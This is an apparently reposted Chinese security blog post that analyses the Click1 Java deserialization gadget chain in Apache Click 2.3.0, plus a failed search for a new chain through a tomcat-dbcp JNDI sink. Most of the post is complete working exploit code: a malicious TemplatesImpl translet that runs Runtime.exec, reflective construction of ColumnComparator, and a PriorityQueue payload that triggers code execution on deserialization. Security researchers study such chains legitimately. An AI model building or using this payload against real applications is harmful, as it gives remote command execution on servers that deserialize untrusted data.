Click1 链分析
-
环境说明 -
链路分析 -
危险方法 -
链路开头 -> readObject -
一条新链挖掘【失败】 -
Ending...
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
环境说明
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
这条链子默认包含CC3.2.1版本
, 但也是ysoserial
中的一部分, 分析看看吧, 玩一玩代码之间的调用.
<dependency><groupId>org.apache.click</groupId><artifactId>click-nodeps</artifactId><version>2.3.0</version></dependency>
分析一下click-nodeps
, 看一下Maven传递
以及默认传递引入了哪些依赖:
从中可以看到, 这里默认编译环境引入了servlet-api
的2.3版本, 而由于provided
在打包时不会传递给其他模块. 而该链路最终的危险方法实际上引用到了Tomcat
中的类, 如果目标环境不存在, 会报ClassNotFound
异常. 所以需要引入servlet-api
, 那么当前环境也就是如下所示:
<dependencies><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version></dependency><dependency><groupId>org.apache.click</groupId><artifactId>click-nodeps</artifactId><version>2.3.0</version></dependency></dependencies>
题外话: 看一下默认传递的依赖有哪些, 直接在Maven
中进行查看即可:
从中可以看到 CC 链的 Maven 传递.
链路分析
危险方法
在ysoserial
中的POC
如下:
那么就它了, 看一下这个类的大体架构:
这里有一个类似于FastJson
的扫描getter
的一个操作, 不难想到TemplatesImpl.getOutputProperties
, 实际上为什么需要servlet-api
这个依赖, 则是因为在扫描getter
时ClickUtils
中对servlet-api
中的类进行引用了, 如图:
PropertyUtils::getValue 手动调用
那么我们先从最基础的PropertyUtils
手动调用其getValue
方法进行编写POC, 先准备一个TemplatesImpl
必须加载的类:
package com.heihu577.bean;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;publicclassEvilextendsAbstractTranslet{static {try { Runtime.getRuntime().exec("calc"); } catch (IOException e) {thrownew RuntimeException(e); } }@Overridepublicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}@Overridepublicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}}
随后编写如下代码:
publicclassDemo{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesImpl = getTemplatesImpl(); Object value = PropertyUtils.getValue(templatesImpl, "outputProperties"); }publicstatic TemplatesImpl getTemplatesImpl()throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][]; myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); bytecodes.set(templates, myBytes); name.set(templates, "aa"); tfactory.set(templates, new TransformerFactoryImpl());return templates; }}
运行即可弹出计算器.
ColumnComparator::compare 手动调用
当然我们知道的是, PropertyUtils
这个类并没有实现Serializable
接口, 但是由于在ColumnComparator(内部类)::compare
方法中进行调用了, 而ColumnComparator
这个类实现了Serializable
, 这才产生了链路, 我们本地构造POC
时需要注意以下问题:
那么我们构造一下ColumnComparator
, 并且将outputProperties
字符串塞在name
属性中, 调用compare
方法时第一个参数放入我们的TemplatesImpl
对象, 构造如下:
package com.heihu577;import com.heihu577.bean.Evil;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.click.control.Column;import org.apache.click.control.Table;import org.apache.click.util.PropertyUtils;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Comparator;publicclassDemo{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesImpl = getTemplatesImpl();// Object value = PropertyUtils.getValue(templatesImpl, "outputProperties"); Column column = new Column(); column.setName("outputProperties"); column.setTable(new Table()); Class<?> clazz = Class.forName("org.apache.click.control.Column$ColumnComparator"); Constructor<?> columnComparatorConstructor = clazz.getDeclaredConstructor(Column.class); columnComparatorConstructor.setAccessible(true); Comparator o = (Comparator) columnComparatorConstructor.newInstance(column); o.compare(templatesImpl, null); }publicstatic TemplatesImpl getTemplatesImpl()throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][]; myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); bytecodes.set(templates, myBytes); name.set(templates, "aa"); tfactory.set(templates, new TransformerFactoryImpl());return templates; }}
运行即可弹出计算器, 链路最终的危险方法分析完毕.
链路开头 -> readObject
分析链路开头很容易, 找一下谁调用了compare
方法, 在之前CC链时使用过PriorityQueue
, 依旧使用上它即可:
package com.heihu577;import com.heihu577.bean.Evil;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.click.control.Column;import org.apache.click.control.Table;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;publicclassDemo{publicstaticvoidmain(String[] args)throws Exception { TemplatesImpl templatesImpl = getTemplatesImpl();// Object value = PropertyUtils.getValue(templatesImpl, "outputProperties"); Column column = new Column(); column.setName("outputProperties"); column.setTable(new Table()); Class<?> clazz = Class.forName("org.apache.click.control.Column$ColumnComparator"); Constructor<?> columnComparatorConstructor = clazz.getDeclaredConstructor(Column.class); columnComparatorConstructor.setAccessible(true); Comparator o = (Comparator) columnComparatorConstructor.newInstance(column);// o.compare(templatesImpl, null); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, o); Field size = queue.getClass().getDeclaredField("size"); size.setAccessible(true); queue.add(templatesImpl); size.set(queue, 0); // 通过修改 size, 防止 add 方法调用到链路 queue.add(templatesImpl); size.set(queue, 2); // 通过修改 size, 防止 add 方法调用到链路 serialize(queue); unserialize(); }publicstaticvoidserialize(Object o)throws Exception { FileOutputStream fileOutputStream = new FileOutputStream("./1.ser");new ObjectOutputStream(fileOutputStream).writeObject(o); }publicstaticvoidunserialize()throws Exception {new ObjectInputStream(new FileInputStream("./1.ser")).readObject(); }publicstatic TemplatesImpl getTemplatesImpl()throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][]; myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); bytecodes.set(templates, myBytes); name.set(templates, "aa"); tfactory.set(templates, new TransformerFactoryImpl());return templates; }}
一条新链挖掘【失败】
是尝试新链的过程, 失败告终, 引入依赖:
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.8</version></dependency>
在此基础之上笔者在寻找满足getXXX
并且以public
为修饰符同时实现Serializable
接口并可利用的类, 最终发现org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSource
抽象类, 如下:
而继承于InstanceKeyDataSource
类的子类org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource
是可以利用的, 它的getPooledConnectionAndInfo
存在JNDI注入, 如下:
但由于writeObject
方法的限制, 让本条链子无法使用,首先:
但最终返回对象为 NULL:
所以readObject
方法还没走完, 程序提前结束了, 那如果不伪造instanceKey
, 也无法利用, 分支如下:
虽然不会阻挡readObject
的执行, 但是getConnection
方法又不允许了.
很矛盾的一件事情, 后续有兴趣再找找符合条件的链子.
Ending...
原文始发于微信公众号(Heihu Share):Java 安全 | Click1 链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论